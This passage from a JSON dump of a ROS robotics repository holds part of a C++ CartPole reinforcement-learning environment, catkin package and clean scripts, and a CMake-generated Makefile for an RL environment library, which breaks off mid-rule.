(fabs(poleVel) > M_PI){\n // cout << \"pole velocity out of range: \" << poleVel << endl;\n if (poleVel > 0)\n poleVel = M_PI;\n else\n poleVel = -M_PI;\n }\n\n return reward();\n\n}\n\n\nfloat CartPole::apply(int action) {\n\n float force = 0;\n if (action == 1) {\n force = FORCE_MAG;\n } else {\n force = -FORCE_MAG;\n }\n\n return transition(force);\n}\n\n \n\nfloat CartPole::reward() {\n\n // normally +1 and 0 on goal\n if (terminal())\n return 0.0;\n else\n return 1.0;\n}\n\n\n\nbool CartPole::terminal() const {\n // current position past termination conditions (off track, pole angle)\n return (fabs(poleAngle) > (DEG_T_RAD*12.0) || fabs(cartPos) > 2.4);\n}\n\n\n\nvoid CartPole::reset() {\n\n GRAVITY = 9.8;\n MASSCART = 1.0;\n MASSPOLE = 0.1;\n TOTAL_MASS = (MASSPOLE + MASSCART);\n LENGTH = 0.5;\t // actually half the pole's length \n \n POLEMASS_LENGTH = (MASSPOLE * LENGTH);\n FORCE_MAG = 10.0;\n TAU = 0.02;\t // seconds between state updates \n \n FOURTHIRDS = 4.0 / 3.0;\n DEG_T_RAD = 0.01745329;\n RAD_T_DEG = 1.0/DEG_T_RAD;\n\n if (noisy){\n cartPos = rng.uniform(-0.5, 0.5);\n cartVel = rng.uniform(-0.5, 0.5);\n poleAngle = rng.uniform(-0.0625, 0.0625);\n poleVel = rng.uniform(-0.0625, 0.0625);\n } else {\n cartPos = 0.0;\n cartVel = 0.0;\n poleAngle = 0.0;\n poleVel = 0.0;\n }\n\n}\n\n\n\nint CartPole::getNumActions(){\n return 2;\n}\n\n\nvoid CartPole::setSensation(std::vector<float> newS){\n if (s.size() != newS.size()){\n cerr << \"Error in sensation sizes\" << endl;\n }\n\n for (unsigned i = 0; i < newS.size(); i++){\n s[i] = newS[i];\n }\n}\n\nstd::vector<experience> CartPole::getSeedings() {\n\n // return seedings\n std::vector<experience> seeds;\n\n // single seed of each 4 terminal cases\n seeds.push_back(getExp(-2.4, -0.1, 0, 0, 0));\n seeds.push_back(getExp(2.4, 0.2, 0.1, 0.2, 1));\n seeds.push_back(getExp(0.4, 0.3, 0.2, 0.3, 0));\n seeds.push_back(getExp(-.3, 0.05, -0.2, -0.4, 1));\n\n reset();\n\n return seeds;\n\n}\n\nexperience CartPole::getExp(float s0, float s1, float s2, float s3, int a){\n\n experience e;\n\n e.s.resize(4, 0.0);\n e.next.resize(4, 0.0);\n\n cartPos = s0;\n cartVel = s1;\n poleAngle = s2;\n poleVel = s3;\n\n e.act = a;\n e.s = sensation();\n e.reward = apply(e.act);\n\n e.terminal = terminal();\n e.next = sensation();\n\n return e;\n}\n\nvoid CartPole::getMinMaxFeatures(std::vector<float> *minFeat,\n std::vector<float> *maxFeat){\n \n minFeat->resize(s.size(), 0.0);\n maxFeat->resize(s.size(), 1.0);\n\n (*minFeat)[0] = -2.5;//3;\n (*maxFeat)[0] = 2.5;//3;\n\n (*minFeat)[1] = -3.0;\n (*maxFeat)[1] = 3.0;\n\n (*minFeat)[2] = -12.0 * DEG_T_RAD;\n (*maxFeat)[2] = 12.0 * DEG_T_RAD;\n \n (*minFeat)[3] = -M_PI;\n (*maxFeat)[3] = M_PI;\n\n}\n\nvoid CartPole::getMinMaxReward(float *minR,\n float *maxR){\n \n *minR = 0.0;\n *maxR = 1.0; \n \n}\n" }, { "alpha_fraction": 0.7279752492904663, "alphanum_fraction": 0.7341576218605042, "avg_line_length": 39.5, "blob_id": "4477d4d3b4d5723e35935275880f1861d360341b", "content_id": "15264d642ef5253e4f6ee548f4bbd80154e642ca", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 647, "license_type": "no_license", "max_line_length": 63, "num_lines": 16, "path": "/build/mybot_cpp/catkin_generated/package.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "set(_CATKIN_CURRENT_PACKAGE \"mybot_cpp\")\nset(mybot_cpp_VERSION \"0.0.0\")\nset(mybot_cpp_MAINTAINER \"justin <[email protected]>\")\nset(mybot_cpp_PACKAGE_FORMAT \"2\")\nset(mybot_cpp_BUILD_DEPENDS \"roscpp\" \"rospy\" \"std_msgs\")\nset(mybot_cpp_BUILD_EXPORT_DEPENDS \"roscpp\" \"rospy\" \"std_msgs\")\nset(mybot_cpp_BUILDTOOL_DEPENDS \"catkin\")\nset(mybot_cpp_BUILDTOOL_EXPORT_DEPENDS )\nset(mybot_cpp_EXEC_DEPENDS \"roscpp\" \"rospy\" \"std_msgs\")\nset(mybot_cpp_RUN_DEPENDS \"roscpp\" \"rospy\" \"std_msgs\")\nset(mybot_cpp_TEST_DEPENDS )\nset(mybot_cpp_DOC_DEPENDS )\nset(mybot_cpp_URL_WEBSITE \"\")\nset(mybot_cpp_URL_BUGTRACKER \"\")\nset(mybot_cpp_URL_REPOSITORY \"\")\nset(mybot_cpp_DEPRECATED \"\")" }, { "alpha_fraction": 0.7952069640159607, "alphanum_fraction": 0.7952069640159607, "avg_line_length": 37.25, "blob_id": "591c4c38676f42ccced041a862d1c0bf425afa21", "content_id": "595c5f4fc26fd1d06c0c2a757d96c93616636f82", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 459, "license_type": "no_license", "max_line_length": 83, "num_lines": 12, "path": "/src/roundbot_control/CMakeFiles/wheel_speed_controller.dir/cmake_clean.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "FILE(REMOVE_RECURSE\n \"CMakeFiles/wheel_speed_controller.dir/src/WheelSpeedController.cpp.o\"\n \"devel/lib/libwheel_speed_controller.pdb\"\n \"devel/lib/libwheel_speed_controller.so\"\n \"devel/lib/libwheel_speed_controller.pdb\"\n \"CMakeFiles/CMakeRelink.dir/libwheel_speed_controller.so\"\n)\n\n# Per-language clean rules from dependency scanning.\nFOREACH(lang CXX)\n INCLUDE(CMakeFiles/wheel_speed_controller.dir/cmake_clean_${lang}.cmake OPTIONAL)\nENDFOREACH(lang)\n" }, { "alpha_fraction": 0.7692307829856873, "alphanum_fraction": 0.7751479148864746, "avg_line_length": 32.79999923706055, "blob_id": "8b096b862a1f5293c9b5b7b7e7d05ce0eee6f2f5", "content_id": "f436f80138f7b53cb4f732fb2886e6ecaca54c69", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 338, "license_type": "no_license", "max_line_length": 69, "num_lines": 10, "path": "/build/homework3/CMakeFiles/akermann.dir/cmake_clean.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "file(REMOVE_RECURSE\n \"CMakeFiles/akermann.dir/src/akermann.cpp.o\"\n \"/home/justin/ros_test/devel/lib/homework3/akermann.pdb\"\n \"/home/justin/ros_test/devel/lib/homework3/akermann\"\n)\n\n# Per-language clean rules from dependency scanning.\nforeach(lang CXX)\n include(CMakeFiles/akermann.dir/cmake_clean_${lang}.cmake OPTIONAL)\nendforeach()\n" }, { "alpha_fraction": 0.7567567825317383, "alphanum_fraction": 0.7837837934494019, "avg_line_length": 17.33333396911621, "blob_id": "4c5cc2c666ee2ac5dc688d40f1dfc23e03531dbd", "content_id": "a333fb8fcd75f3ddd0c2b6a259925b0050303dc8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 111, "license_type": "no_license", "max_line_length": 37, "num_lines": 6, "path": "/src/robot_sensors/CMakeLists.txt", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "cmake_minimum_required(VERSION 2.8.3)\nproject(robot_sensors)\n\nfind_package(catkin REQUIRED)\n\ncatkin_package()\n\n" }, { "alpha_fraction": 0.7326892018318176, "alphanum_fraction": 0.7648953199386597, "avg_line_length": 37.875, "blob_id": "9af1be8e889b16f1d9c518d28e9499d1a5e2ace0", "content_id": "f6a11618aef09642b4cd4de89a341da85dd87547", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 621, "license_type": "no_license", "max_line_length": 55, "num_lines": 16, "path": "/build/homework2/catkin_generated/package.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "set(_CATKIN_CURRENT_PACKAGE \"homework2\")\nset(homework2_VERSION \"0.0.0\")\nset(homework2_MAINTAINER \"abc <[email protected]>\")\nset(homework2_PACKAGE_FORMAT \"1\")\nset(homework2_BUILD_DEPENDS \"roscpp\" \"std_msgs\")\nset(homework2_BUILD_EXPORT_DEPENDS \"roscpp\" \"std_msgs\")\nset(homework2_BUILDTOOL_DEPENDS \"catkin\")\nset(homework2_BUILDTOOL_EXPORT_DEPENDS )\nset(homework2_EXEC_DEPENDS \"roscpp\" \"std_msgs\")\nset(homework2_RUN_DEPENDS \"roscpp\" \"std_msgs\")\nset(homework2_TEST_DEPENDS \"rostest\")\nset(homework2_DOC_DEPENDS )\nset(homework2_URL_WEBSITE \"\")\nset(homework2_URL_BUGTRACKER \"\")\nset(homework2_URL_REPOSITORY \"\")\nset(homework2_DEPRECATED \"\")" }, { "alpha_fraction": 0.7282618880271912, "alphanum_fraction": 0.7290357947349548, "avg_line_length": 36.4190788269043, "blob_id": "4bc0f98f1c20604a180b582d82839673bb675ad7", "content_id": "f0ccc90e0fbf5a40c379d05f635e46f4cb553512", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 21966, "license_type": "no_license", "max_line_length": 206, "num_lines": 587, "path": "/build/rl-texplore-ros-pkg-master/src/rl_env/Makefile", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "# CMAKE generated file: DO NOT EDIT!\n# Generated by \"Unix Makefiles\" Generator, CMake Version 3.10\n\n# Default target executed when no arguments are given to make.\ndefault_target: all\n\n.PHONY : default_target\n\n# Allow only one \"make -f Makefile2\" at a time, but pass parallelism.\n.NOTPARALLEL:\n\n\n#=============================================================================\n# Special targets provided by cmake.\n\n# Disable implicit rules so canonical targets will work.\n.SUFFIXES:\n\n\n# Remove some rules from gmake that .SUFFIXES does not remove.\nSUFFIXES =\n\n.SUFFIXES: .hpux_make_needs_suffix_list\n\n\n# Suppress display of executed commands.\n$(VERBOSE).SILENT:\n\n\n# A target that is always out of date.\ncmake_force:\n\n.PHONY : cmake_force\n\n#=============================================================================\n# Set environment variables for the build.\n\n# The shell in which to execute make rules.\nSHELL = /bin/sh\n\n# The CMake executable.\nCMAKE_COMMAND = /usr/bin/cmake\n\n# The command to remove a file.\nRM = /usr/bin/cmake -E remove -f\n\n# Escaping for special characters.\nEQUALS = =\n\n# The top-level source directory on which CMake was run.\nCMAKE_SOURCE_DIR = /home/justin/ros_test/src\n\n# The top-level build directory on which CMake was run.\nCMAKE_BINARY_DIR = /home/justin/ros_test/build\n\n#=============================================================================\n# Targets provided globally by CMake.\n\n# Special rule for the target install/strip\ninstall/strip: preinstall\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Installing the project stripped...\"\n\t/usr/bin/cmake -DCMAKE_INSTALL_DO_STRIP=1 -P cmake_install.cmake\n.PHONY : install/strip\n\n# Special rule for the target install/strip\ninstall/strip/fast: preinstall/fast\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Installing the project stripped...\"\n\t/usr/bin/cmake -DCMAKE_INSTALL_DO_STRIP=1 -P cmake_install.cmake\n.PHONY : install/strip/fast\n\n# Special rule for the target install\ninstall: preinstall\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Install the project...\"\n\t/usr/bin/cmake -P cmake_install.cmake\n.PHONY : install\n\n# Special rule for the target install\ninstall/fast: preinstall/fast\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Install the project...\"\n\t/usr/bin/cmake -P cmake_install.cmake\n.PHONY : install/fast\n\n# Special rule for the target install/local\ninstall/local: preinstall\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Installing only the local directory...\"\n\t/usr/bin/cmake -DCMAKE_INSTALL_LOCAL_ONLY=1 -P cmake_install.cmake\n.PHONY : install/local\n\n# Special rule for the target install/local\ninstall/local/fast: preinstall/fast\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Installing only the local directory...\"\n\t/usr/bin/cmake -DCMAKE_INSTALL_LOCAL_ONLY=1 -P cmake_install.cmake\n.PHONY : install/local/fast\n\n# Special rule for the target test\ntest:\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Running tests...\"\n\t/usr/bin/ctest --force-new-ctest-process $(ARGS)\n.PHONY : test\n\n# Special rule for the target test\ntest/fast: test\n\n.PHONY : test/fast\n\n# Special rule for the target list_install_components\nlist_install_components:\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Available install components are: \\\"Unspecified\\\"\"\n.PHONY : list_install_components\n\n# Special rule for the target list_install_components\nlist_install_components/fast: list_install_components\n\n.PHONY : list_install_components/fast\n\n# Special rule for the target edit_cache\nedit_cache:\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"No interactive CMake dialog available...\"\n\t/usr/bin/cmake -E echo No\\ interactive\\ CMake\\ dialog\\ available.\n.PHONY : edit_cache\n\n# Special rule for the target edit_cache\nedit_cache/fast: edit_cache\n\n.PHONY : edit_cache/fast\n\n# Special rule for the target rebuild_cache\nrebuild_cache:\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Running CMake to regenerate build system...\"\n\t/usr/bin/cmake -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR)\n.PHONY : rebuild_cache\n\n# Special rule for the target rebuild_cache\nrebuild_cache/fast: rebuild_cache\n\n.PHONY : rebuild_cache/fast\n\n# The main all target\nall: cmake_check_build_system\n\tcd /home/justin/ros_test/build && $(CMAKE_COMMAND) -E cmake_progress_start /home/justin/ros_test/build/CMakeFiles /home/justin/ros_test/build/rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/progress.marks\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 rl-texplore-ros-pkg-master/src/rl_env/all\n\t$(CMAKE_COMMAND) -E cmake_progress_start /home/justin/ros_test/build/CMakeFiles 0\n.PHONY : all\n\n# The main clean target\nclean:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 rl-texplore-ros-pkg-master/src/rl_env/clean\n.PHONY : clean\n\n# The main clean target\nclean/fast: clean\n\n.PHONY : clean/fast\n\n# Prepare targets for installation.\npreinstall: all\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 rl-texplore-ros-pkg-master/src/rl_env/preinstall\n.PHONY : preinstall\n\n# Prepare targets for installation.\npreinstall/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 rl-texplore-ros-pkg-master/src/rl_env/preinstall\n.PHONY : preinstall/fast\n\n# clear depends\ndepend:\n\tcd /home/justin/ros_test/build && $(CMAKE_COMMAND) -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR) --check-build-system CMakeFiles/Makefile.cmake 1\n.PHONY : depend\n\n# Convenience name for target.\nrl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/env.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/env.dir/rule\n.PHONY : rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/env.dir/rule\n\n# Convenience name for target.\nenv: rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/env.dir/rule\n\n.PHONY : env\n\n# fast build rule for target.\nenv/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/env.dir/build.make rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/env.dir/build\n.PHONY : env/fast\n\n# Convenience name for target.\nrl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/rule\n.PHONY : rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/rule\n\n# Convenience name for target.\nenvlib: rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/rule\n\n.PHONY : envlib\n\n# fast build rule for target.\nenvlib/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/build\n.PHONY : envlib/fast\n\nsrc/Env/CartPole.o: src/Env/CartPole.cc.o\n\n.PHONY : src/Env/CartPole.o\n\n# target to build an object file\nsrc/Env/CartPole.cc.o:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/CartPole.cc.o\n.PHONY : src/Env/CartPole.cc.o\n\nsrc/Env/CartPole.i: src/Env/CartPole.cc.i\n\n.PHONY : src/Env/CartPole.i\n\n# target to preprocess a source file\nsrc/Env/CartPole.cc.i:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/CartPole.cc.i\n.PHONY : src/Env/CartPole.cc.i\n\nsrc/Env/CartPole.s: src/Env/CartPole.cc.s\n\n.PHONY : src/Env/CartPole.s\n\n# target to generate assembly for a file\nsrc/Env/CartPole.cc.s:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/CartPole.cc.s\n.PHONY : src/Env/CartPole.cc.s\n\nsrc/Env/FuelRooms.o: src/Env/FuelRooms.cc.o\n\n.PHONY : src/Env/FuelRooms.o\n\n# target to build an object file\nsrc/Env/FuelRooms.cc.o:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/FuelRooms.cc.o\n.PHONY : src/Env/FuelRooms.cc.o\n\nsrc/Env/FuelRooms.i: src/Env/FuelRooms.cc.i\n\n.PHONY : src/Env/FuelRooms.i\n\n# target to preprocess a source file\nsrc/Env/FuelRooms.cc.i:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/FuelRooms.cc.i\n.PHONY : src/Env/FuelRooms.cc.i\n\nsrc/Env/FuelRooms.s: src/Env/FuelRooms.cc.s\n\n.PHONY : src/Env/FuelRooms.s\n\n# target to generate assembly for a file\nsrc/Env/FuelRooms.cc.s:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/FuelRooms.cc.s\n.PHONY : src/Env/FuelRooms.cc.s\n\nsrc/Env/LightWorld.o: src/Env/LightWorld.cc.o\n\n.PHONY : src/Env/LightWorld.o\n\n# target to build an object file\nsrc/Env/LightWorld.cc.o:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/LightWorld.cc.o\n.PHONY : src/Env/LightWorld.cc.o\n\nsrc/Env/LightWorld.i: src/Env/LightWorld.cc.i\n\n.PHONY : src/Env/LightWorld.i\n\n# target to preprocess a source file\nsrc/Env/LightWorld.cc.i:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/LightWorld.cc.i\n.PHONY : src/Env/LightWorld.cc.i\n\nsrc/Env/LightWorld.s: src/Env/LightWorld.cc.s\n\n.PHONY : src/Env/LightWorld.s\n\n# target to generate assembly for a file\nsrc/Env/LightWorld.cc.s:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/LightWorld.cc.s\n.PHONY : src/Env/LightWorld.cc.s\n\nsrc/Env/MountainCar.o: src/Env/MountainCar.cc.o\n\n.PHONY : src/Env/MountainCar.o\n\n# target to build an object file\nsrc/Env/MountainCar.cc.o:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/MountainCar.cc.o\n.PHONY : src/Env/MountainCar.cc.o\n\nsrc/Env/MountainCar.i: src/Env/MountainCar.cc.i\n\n.PHONY : src/Env/MountainCar.i\n\n# target to preprocess a source file\nsrc/Env/MountainCar.cc.i:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/MountainCar.cc.i\n.PHONY : src/Env/MountainCar.cc.i\n\nsrc/Env/MountainCar.s: src/Env/MountainCar.cc.s\n\n.PHONY : src/Env/MountainCar.s\n\n# target to generate assembly for a file\nsrc/Env/MountainCar.cc.s:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/MountainCar.cc.s\n.PHONY : src/Env/MountainCar.cc.s\n\nsrc/Env/RobotCarVel.o: src/Env/RobotCarVel.cc.o\n\n.PHONY : src/Env/RobotCarVel.o\n\n# target to build an object file\nsrc/Env/RobotCarVel.cc.o:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/RobotCarVel.cc.o\n.PHONY : src/Env/RobotCarVel.cc.o\n\nsrc/Env/RobotCarVel.i: src/Env/RobotCarVel.cc.i\n\n.PHONY : src/Env/RobotCarVel.i\n\n# target to preprocess a source file\nsrc/Env/RobotCarVel.cc.i:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/RobotCarVel.cc.i\n.PHONY : src/Env/RobotCarVel.cc.i\n\nsrc/Env/RobotCarVel.s: src/Env/RobotCarVel.cc.s\n\n.PHONY : src/Env/RobotCarVel.s\n\n# target to generate assembly for a file\nsrc/Env/RobotCarVel.cc.s:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/RobotCarVel.cc.s\n.PHONY : src/Env/RobotCarVel.cc.s\n\nsrc/Env/energyrooms.o: src/Env/energyrooms.cc.o\n\n.PHONY : src/Env/energyrooms.o\n\n# target to build an object file\nsrc/Env/energyrooms.cc.o:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/energyrooms.cc.o\n.PHONY : src/Env/energyrooms.cc.o\n\nsrc/Env/energyrooms.i: src/Env/energyrooms.cc.i\n\n.PHONY : src/Env/energyrooms.i\n\n# target to preprocess a source file\nsrc/Env/energyrooms.cc.i:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/energyrooms.cc.i\n.PHONY : src/Env/energyrooms.cc.i\n\nsrc/Env/energyrooms.s: src/Env/energyrooms.cc.s\n\n.PHONY : src/Env/energyrooms.s\n\n# target to generate assembly for a file\nsrc/Env/energyrooms.cc.s:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/energyrooms.cc.s\n.PHONY : src/Env/energyrooms.cc.s\n\nsrc/Env/fourrooms.o: src/Env/fourrooms.cc.o\n\n.PHONY : src/Env/fourrooms.o\n\n# target to build an object file\nsrc/Env/fourrooms.cc.o:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/fourrooms.cc.o\n.PHONY : src/Env/fourrooms.cc.o\n\nsrc/Env/fourrooms.i: src/Env/fourrooms.cc.i\n\n.PHONY : src/Env/fourrooms.i\n\n# target to preprocess a source file\nsrc/Env/fourrooms.cc.i:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/fourrooms.cc.i\n.PHONY : src/Env/fourrooms.cc.i\n\nsrc/Env/fourrooms.s: src/Env/fourrooms.cc.s\n\n.PHONY : src/Env/fourrooms.s\n\n# target to generate assembly for a file\nsrc/Env/fourrooms.cc.s:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/fourrooms.cc.s\n.PHONY : src/Env/fourrooms.cc.s\n\nsrc/Env/gridworld.o: src/Env/gridworld.cc.o\n\n.PHONY : src/Env/gridworld.o\n\n# target to build an object file\nsrc/Env/gridworld.cc.o:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/gridworld.cc.o\n.PHONY : src/Env/gridworld.cc.o\n\nsrc/Env/gridworld.i: src/Env/gridworld.cc.i\n\n.PHONY : src/Env/gridworld.i\n\n# target to preprocess a source file\nsrc/Env/gridworld.cc.i:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/gridworld.cc.i\n.PHONY : src/Env/gridworld.cc.i\n\nsrc/Env/gridworld.s: src/Env/gridworld.cc.s\n\n.PHONY : src/Env/gridworld.s\n\n# target to generate assembly for a file\nsrc/Env/gridworld.cc.s:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/gridworld.cc.s\n.PHONY : src/Env/gridworld.cc.s\n\nsrc/Env/stocks.o: src/Env/stocks.cc.o\n\n.PHONY : src/Env/stocks.o\n\n# target to build an object file\nsrc/Env/stocks.cc.o:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/stocks.cc.o\n.PHONY : src/Env/stocks.cc.o\n\nsrc/Env/stocks.i: src/Env/stocks.cc.i\n\n.PHONY : src/Env/stocks.i\n\n# target to preprocess a source file\nsrc/Env/stocks.cc.i:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/stocks.cc.i\n.PHONY : src/Env/stocks.cc.i\n\nsrc/Env/stocks.s: src/Env/stocks.cc.s\n\n.PHONY : src/Env/stocks.s\n\n# target to generate assembly for a file\nsrc/Env/stocks.cc.s:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/src/Env/stocks.cc.s\n.PHONY : src/Env/stocks.cc.s\n\nsrc/Env/taxi.o: src/Env/taxi.cc.o\n\n.PHONY : src/Env/taxi.o\n\n# target to build an object file\nsrc/Env/taxi.cc.o:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/build.make 